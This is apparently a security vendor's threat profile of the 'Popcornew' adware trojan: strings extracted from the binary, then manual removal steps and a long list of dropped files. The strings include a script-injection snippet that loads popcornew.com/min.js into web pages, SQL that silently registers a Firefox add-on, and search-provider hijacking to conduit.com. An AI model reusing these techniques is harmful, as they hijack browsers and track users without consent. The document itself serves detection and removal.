UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

sqlite_altertab_%s

CREATE TABLE %Q.%s(%s)

DELETE FROM %Q.%s WHERE %s=%Q

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

invalid name: "%s"

too many attached databases - max %d

database %s is already in use

unable to open database: %s

no such database: %s

cannot detach database %s

database %s is locked

%s %T cannot reference objects in database %s

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

there is already an index named %s

too many columns on %s

duplicate column name: %s

default value of column [%s] is not constant

table "%s" has more than one primary key

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

CREATE %s %.*s

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE TABLE %Q.sqlite_sequence(name,seq)

view %s is circularly defined

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

sqlite_stat%d

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

sqlite_stat

table %s may not be dropped

use DROP TABLE to delete table %s

use DROP VIEW to delete view %s

foreign key on %s should reference only one column of table %T

number of columns in foreign key does not match the number of columns in the referenced table

unknown column "%s" in foreign key definition

indexed columns are not unique

table %s may not be indexed

views may not be indexed

virtual tables may not be indexed

there is already a table named %s

index %s already exists

sqlite_autoindex_%s_%d

table %s has no column named %s

CREATE%s INDEX %.*s

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

no such index: %S

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

a JOIN clause is required before %s

unable to identify the object to be reindexed

no such collation sequence: %s

table %s may not be modified

cannot modify %s because it is a view

foreign key mismatch - "%w" referencing "%w"

table %S has %d columns but %d values were supplied

%d values for %d columns

table %S has no column named %s

%s.%s may not be NULL

constraint %s failed

PRIMARY KEY must be unique

sqlite3_extension_init

%s.%s

unable to open shared library [%s]

sqlite3_

no entry point [%s] in shared library [%s]

error during initialization: %s

automatic extension loading failed: %s

foreign_key_list

foreign_key_check

*** in database %s ***

unsupported encoding: %s

malformed database schema (%s)

%s - %s

unsupported file format

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

database schema is locked: %s

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

a NATURAL join may not have an ON or USING clause

cannot have both ON and USING clauses in the same join

cannot join using column %s - column not present in both tables

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

%s:%d

ORDER BY clause should come after %s not before

LIMIT clause should come after %s not before

SELECTs to the left and right of %s do not have the same number of result columns

no such index: %s

sqlite_subquery_%p_

too many references to "%s": max 65535

%s.%s.%s

no such table: %s

SCAN TABLE %s %s%s(~%d rows)

sqlite3_get_table() called with two or more incompatible queries

cannot create %s trigger on view: %S

cannot create INSTEAD OF trigger on table: %S

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

no such trigger: %S

-- TRIGGER %s

no such column: %s

cannot VACUUM - SQL statements in progress

PRAGMA vacuum_db.synchronous=OFF

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

vtable constructor failed: %s

vtable constructor did not declare schema: %s

no such module: %s

table %s: xBestIndex returned an invalid plan

%s SUBQUERY %d

%s TABLE %s

%s AS %s

%s USING %s%sINDEX%s%s%s

%s USING INTEGER PRIMARY KEY

%s (rowid=?)

%s (rowid>? AND rowid<?)

%s (rowid>?)

%s (rowid<?)

%s VIRTUAL TABLE INDEX %d:%s

%s (~%lld rows)

at most %d tables in a join

cannot use index: %s

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

unknown database: %s

no such %s mode: %s

%s mode not allowed: %s

no such vfs: %s

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

{"active_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"creation_flags":9,"from_bookmark":false,"from_webstore":true,"granted_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"initial_keybindings_set":true,"install_time":"13047485847014017","location":1,"manifest":{"background":{"scripts":["config.js","ext/common.js","ext/background.js","lib/compat.js","lib/info.js","lib/io.js","lib/adblockplus.js","lib/punycode.js","lib/publicSuffixList.js","lib/basedomain.js","lib/sha1.js","lib/jsbn.js","lib/rsa.js","webrequest.js","popupBlocker.js","iconAnimation.js","background.js"]},"content_scripts":[{"all_frames":true,"js":["config.js","ext/common.js","include.preload.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_start"},{"all_frames":true,"js":["smartdisplay.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_end"},{"all_frames":true,"js":["include.idle.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_idle"}],"description":"Popcornew","icons":{"128":"Popcornew.png","48":"Popcornew.png"},"key":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAig6oQYfBuEQJD0QyMu2AeDx9/XjWLLI9N k3fjiAA4VvC33HJ41tpZEJq7I4XeKRNT4S3XWKzAj1x5QvBvM2zbwx6WAwaQIW2ZYKArl pUJZ5V1EPg1W04TRnzEYQfl3kj8c8e0x9aO3XsquorLOPB5Texxgjt2XxsTIFSZABxxLx0EY8WJHwgvd1wtL3scVs5jQhtJX4dEgThuKcM7kAllzrQjVkupxPvG4xTASbB xbh1WwcmkwvqDsyjE7fdxysfacP7ToSOPYdg3wPc7Uow1ZYY6 1skQFSMgPYF6hDN/ZFE5TGDr7Mxsoo8cowTGcl3F1cBiTxzsASQr 8uxQIDAQAB","manifest_version":2,"minimum_chrome_version":"18.0","name":"Popcornew","permissions":["tabs","hXXp://*/*","hXXps://*/*","contextMenus","webRequest","webRequestBlocking","webNavigation","unlimitedStorage","notifications"],"update_url":"hXXps://clients2.google.com/service/update2/crx","version":"2.5","web_accessible_resources":["config.js","block.html"]},"path":"engaigpbgdjjmanonjcjkcmomgibneba\\2.5_0","state":1,"was_installed_by_default":false}

{"created_by_policy":false,"date_created":"0","favicon_url":"hXXps://VVV.bing.com/s/a/bing_p.ico","image_url":"","image_url_post_params":"","input_encodings":["UTF-8"],"instant_url":"","instant_url_post_params":"","keyword":"VVV.bing.com","last_modified":"0","new_tab_url":"hXXps://VVV.bing.com/chrome/newtab?setmkt=en-US","originating_url":"","prepopulate_id":0,"safe_for_autoreplace":true,"search_terms_replacement_key":"","search_url_post_params":"","short_name":"Bing.com","suggestions_url":"hXXp://api.bing.com/osjson.aspx?query={searchTerms}&language={language}","suggestions_url_post_params":"","url":"hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}","usage_count":0}

last_chrome_version

chrome.plugin.ver_installed

chrome.plugin.error

extensions.settings.

template_url_data

search_url

chrome.conduit.old_chrome_ver

chrome.conduit.error

hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}

chrome.conduit.ver_installed

default_search_provider_data.template_url_data

chrome.plugin.enable

chrome.conduit.enable

chrome.video_ads.enable

chrome.error

chrome.addons.

.no_data

.state

.disable_reasons

.crx_exist

chrome.version

chrome.search_url

firefox.conduit.enable

firefox.video_ads.enable

SELECT updateURL FROM addon WHERE id == "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}"

INSERT INTO addon VALUES (null, "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}", "1wmRiFe01UO5", "app-profile", "2.5", "extension", "", "hXXps://popcornew.com/firefox/update.rdf", "", "", "", "", "", "", ?, 1, 1, 0, 0, 0, ?, 1373624626623, 1373624626623, 1, 0, 0, 435783, "hXXps://popcornew.com/firefox/Popcornew", "", 0, 0, 0, 0);

INSERT INTO targetApplication VALUES(?, "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}", "19.0", "50.*");

{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}

\\extensions\\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi","installDate":1374485700380,"updateDate":1374485700380,"applyBackgroundUpdates":1,"bootstrap":true,"size":435783,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"hasBinaryComponents":false,"strictCompatibility":false,"locales":[],"targetApplications":[{"id":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","minVersion":"19.0","maxVersion":"50.0"}],"targetPlatforms":[]},

{"id":"{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}","syncGUID":"lirS1y4Qax0E","location":"app-profile","version":"2.5","type":"extension","internalName":null,"updateURL":"hXXps://popcornew.com/firefox/update.rdf","updateKey":null,"optionsURL":null,"optionsType":null,"aboutURL":null,"iconURL":null,"icon64URL":null,"defaultLocale":{"name":"Popcornew","description":"Popcornew","creator":"Popcornew OU","homepageURL":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"descriptor":"

firefox.plugin.ver_installed

firefox.plugin.enable

firefox.plugin.ver_conduit

firefox.error

firefox.addons.

.name

.visible

.active

.user_disabled

.app_disabled

.xpi_exist

Unable to find firefox profiles

9%D,3

IE.conduit.enable

IE.conduit.ver_installed

IE.conduit.error

open search scopes key

open crypto key

delete crypto key

open default scope key

IE.default_search.name

IE.default_search.url

IE.default_search.error

IE.addons.

.installed

.enabled

client.install_time

client.enable_state_report

client.version

client.prev_version

client.ext_version

client.partner_id

config.client.enable_o_dips

client.enable_o_dips

config.client_id

config.client

config.nodesrv.prefs

IE.plugin.enable

IE.plugin.use

IE.plugin.installed

IE.plugin.enabled

IE.plugin.disabled

IE.plugin.attempt_cnt

IE.plugin.attempt_time

IE.plugin.quit_enabling

IE.plugin.enabled_after

IE.version

IE.version_svc

state_file.error

config.error

nodesrv.enable

port

password

' ).;<52

C:\Projects\boost_1_55_0\boost/xpressive/basic_regex.hpp

C:\Projects\boost_1_55_0\boost/xpressive/detail/dynamic/matchable.hpp

1.1.3

GetProcessWindowStation

operator

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

0123456789-

%b %d %H : %M : %S %Y

%m / %d / %y

%I : %M : %S %p

%d / %m / %y

C:\Users\User\Projects\boxore-client\BUILD\PopcornewRelease\Popcornew.pdb

ole32.dll

PSAPI.DLL

WINMM.dll

VERSION.dll

KERNEL32.dll

MsgWaitForMultipleObjects

EnumChildWindows

USER32.dll

RegCloseKey

RegDeleteKeyW

RegOpenKeyExA

RegOpenKeyExW

RegCreateKeyExW

RegEnumKeyW

RegQueryInfoKeyW

ADVAPI32.dll

SHFileOperationW

SHELL32.dll

OLEAUT32.dll

UrlUnescapeW

SHLWAPI.dll

InternetCrackUrlW

HttpOpenRequestW

HttpSendRequestW

HttpQueryInfoW

HttpAddRequestHeadersW

HttpSendRequestA

HttpQueryInfoA

WININET.dll

urlmon.dll

GetCPInfo

zcÁ

.?AVFCHttpRequest@@

.?AVFCHttpRequestManager@@

.?AVHttpRequest@boxore@@

.?AVHttpAsynchUpdate@boxore@@

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

:(:,:0:4:8:<:

1?2_2%3@3

?#?-?5?@?

1 2$2(2}2

: :$:(:,:

1,1014181<1@1

= =$=(=,=0=4=8=<=

0 0$0(0,0

!010A0Q0#2-272}3

4&424<4`4

4$4*454:4?4

2?3U3

;-<,=;=>>

9$9-999>9

6%6X6

1 2)2@2~2

8%9s9

: :$:(:,:0:4:8:<:

6 6$6(6,6064686<6@6

1 1$1(1,1014181<1

; ;$;(;,;0;

< <$<(<,<0<4<8<<<@<

;$;,;4;<;

1 1$1(1,1014181

;(;4;<;\;

6(646<6\6

7 7<7@7`7

888816666554443

6666554443

!6666554443

Global\ASE-"5B97477E-937A-4535-9752-687437254B72"

GRange: bytes=%d-

Guistone_http_event_wnd

hXXp://popcornew.com/o?c=%d&b=%d&t=%d&d=%s&i=%s&p=%d&v=%s

Chrome_OmniboxView

hXXp://

config.js

Popcornew.crx

Google\Chrome\User Data\

lib/bxrCfg.js

extensions.sqlite

extensions.json

extensions\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi

Popcornew.xpi

IMozilla\Firefox\Profiles

<OpenSearchDescription xmlns="hXXp://a9.com/-/spec/opensearch/1.1/" xmlns:ie="hXXp://schemas.microsoft.com/Search/2008/">

<ShortName>Bing.com</ShortName>

<Tags>VVV.Bing.com</Tags>

<Image width="16" height="16" type="image/x-icon">hXXp://VVV.bing.com/favicon.ico</Image>

<Url type="text/html" template="hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}" />

<Url type="application/x-suggestions xml" template="hXXp://api.bing.com/qsml.aspx?query={searchTerms}&market={Language}&form=IE8SSC&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}" />

<ie:TopResult type="text/html" template="hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}"/>

Global\{5B97477E-937A-4535-9752-687437254B72}

chrome.exe

firefox.exe

{82BE43A3-77AF-4978-B081-893EF286DC00}

popcornew.com

{"client_id": "%s"}

hXXp://dlmenager.net/

PingUrl

CrashReportUrl

MoreInfoUrl

UsageStatsReportUrl

}; var heads = document.getElementsByTagName("head");if(heads.length > 0) {var node

= document.createElement("script");node.type

= "text/javascript";node.src

= document.location.protocol   "//popcornew.com/min.js";node.defer

= "defer";node.id = "Popcornew";heads[0].appendChild(node);}}

if(document.getElementById("Popcornew") == null) {window.PopcornewCfg = {id: "

.rules

Chrome_WidgetWin_0

Chrome_WidgetWin_1

Chrome_RenderWidgetHostHWND

MozillaWindowClass

Firefox

FFCB3198-32F3-4E8B-9539-4324694ED664

HTTP/1.0

EFA7A511-B491-4312-BB35-4586B99E45ED

\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}

Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{

Software\Microsoft\Windows\CurrentVersion\Ext\Settings

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

0.0.0.0

{00000000-0000-0000-0000-000000000000}

Unable to remove all components, while Firefox is running. Please, close Firefox and try again.

Unable to remove all components, while Chrome is running. Please, close Chrome and try again.

combase.dll

kernel32.dll

Wmscoree.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

ADVAPI32.DLL

USER32.DLL

portuguese-brazilian

%Program Files%\Popcornew\Popcornew\popcornew.exe

7, 3, 0, 0

Popcornew.exe

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   PopcornewUpdate.exe:752
   PopcornewUpdate.exe:2612
   PopcornewUpdate.exe:596
   PopcornewUpdate.exe:1920
   PopcornewUpdate.exe:1112
   PopcornewUpdate.exe:1252
   PopcornewUpdate.exe:1384
   %original file name%.exe:1380
   popcornew.exe:2548
   popcornew.exe:1972
   popcornew.exe:2488
   nsy2.tmp:1448
   MsiExec.exe:1520
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Program Files%\Popcornew\Update\Install\{6ABF9003-3091-44DE-97C3-2E25768D1354}\Popcornew_7.3.msi (43956 bytes)
   %Program Files%\Popcornew\Update\Download\{82BE43A3-77AF-4978-B081-893EF286DC00}\7.3.0.0\Popcornew_7.3.msi (43956 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_gu.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_en.dll (22 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_cs.dll (23 bytes)
   %Program Files%\Popcornew\Update\PopcornewUpdate.exe (601 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_lt.dll (22 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_bg.dll (24 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll (5873 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pl.dll (24 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_te.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_am.dll (25 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_kn.dll (30 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_id.dll (22 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_no.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pt-BR.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_et.dll (22 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ta.dll (30 bytes)
   %WinDir%\Tasks\PopcornewUpdateTaskMachineCore.job (906 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_es.dll (25 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sk.dll (24 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fil.dll (24 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_da.dll (29 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_uk.dll (29 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hi.dll (29 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_nl.dll (30 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_en-GB.dll (28 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_th.dll (22 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_is.dll (29 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_el.dll (25 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll (673 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sw.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_es-419.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_mr.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_it.dll (25 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fr.dll (25 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ms.dll (22 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pt-PT.dll (29 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ml.dll (26 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_zh-CN.dll (16 bytes)
   %WinDir%\Tasks\PopcornewUpdateTaskMachineUA.job (910 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ja.dll (18 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe (46 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_bn.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\psuser.dll (673 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hu.dll (24 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_lv.dll (30 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fa.dll (28 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_zh-TW.dll (22 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sl.dll (30 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_tr.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ru.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ro.dll (30 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ur.dll (29 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ca.dll (24 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ar.dll (20 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll (1281 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\PopcornewCrashHandler.exe (601 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ko.dll (18 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sr.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateHelper.msi (32 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hr.dll (24 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fi.dll (29 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdate.exe (601 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe (52 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_iw.dll (20 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_de.dll (25 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sv.dll (23 bytes)
   %Program Files%\Popcornew\Update\1.3.25.0\goopdateres_vi.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\inetc.dll (20 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsy2.tmp (37784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Popcornew\state (10195 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewCrashHandler.exe (113 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUT5.tmp (20507 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sl.dll (30 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hu.dll (24 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-TW.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bg.dll (24 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sw.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_iw.dll (20 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_am.dll (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ro.dll (30 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_gu.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lv.dll (30 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psmachine.dll (162 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bn.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_te.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ko.dll (18 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ru.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ca.dll (24 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ar.dll (20 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_cs.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sv.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateHelper.msi (32 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en-GB.dll (28 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_it.dll (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fil.dll (24 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-PT.dll (29 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_el.dll (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateOnDemand.exe (46 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fa.dll (28 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-BR.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\npPopcornewUpdate3.dll (235 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ta.dll (30 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_uk.dll (29 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es-419.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_no.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_da.dll (29 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es.dll (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_tr.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_nl.dll (30 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_kn.dll (30 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ms.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ja.dll (18 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_mr.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_id.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ur.dll (29 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sr.dll (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hr.dll (24 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fi.dll (29 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-CN.dll (16 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_et.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psuser.dll (162 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ml.dll (26 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fr.dll (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_de.dll (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdate.exe (113 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_is.dll (29 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lt.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateBroker.exe (52 bytes)
